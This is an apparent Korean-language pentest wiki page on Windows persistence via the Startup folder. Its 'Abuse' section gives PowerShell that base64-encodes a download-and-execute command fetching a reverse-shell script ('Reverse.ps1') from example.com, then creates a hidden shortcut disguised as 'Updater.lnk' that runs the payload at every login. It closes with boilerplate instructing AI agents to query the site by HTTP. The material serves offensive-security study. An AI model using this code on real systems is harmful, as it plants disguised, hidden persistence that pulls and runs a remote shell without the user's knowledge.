# Startup Folder

`$env:AppData\Microsoft\Windows\Start Menu\Programs\Startup` 경로를 시작 프로그램 폴더라고 부르며, 이 위치에 있는 프로그램은 폴더를 소유한 계정이 로그인 될 때마다 자동으로 실행됩니다.

## Abuse

<pre class="language-powershell"><code class="lang-powershell"><strong># 공격자 서버로 연결을 시도하는 스크립트 URL 입력 및 인코딩
</strong>$str = 'IEX ((new-object net.webclient).downloadstring("http://example.com/Reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
&#x3C;-- Base64 Encoded Command -->

<strong># 파워쉘을 통해 현재 사용자의 시작 프로그램 폴더에 lnk 파일 생성
</strong>$WshShell = New-Object -ComObject WScript.Shell
$StartupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\Updater.lnk"
$Shortcut = $WshShell.CreateShortcut($StartupPath)
$Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.Arguments = "-nop -w hidden -enc &#x3C;Base64 Encoded Command>"
$Shortcut.WorkingDirectory = "C:\Windows\System32"
$Shortcut.WindowStyle = 7
$Shortcut.Save()
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/persistence/local/startup-folder.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
